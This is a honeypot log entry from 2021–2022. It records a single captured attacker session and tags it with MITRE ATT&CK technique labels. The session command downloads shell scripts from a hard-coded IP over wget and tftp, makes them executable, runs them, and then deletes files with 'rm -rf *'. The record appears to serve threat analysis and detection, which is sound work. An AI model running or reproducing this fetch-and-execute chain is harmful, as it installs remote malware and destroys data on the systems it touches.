Honeypot attack session (period 2021_2022), commands issued:
cd /tmp || cd /run || cd /; wget http://128.199.229.13/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 128.199.229.13 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 128.199.229.13; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal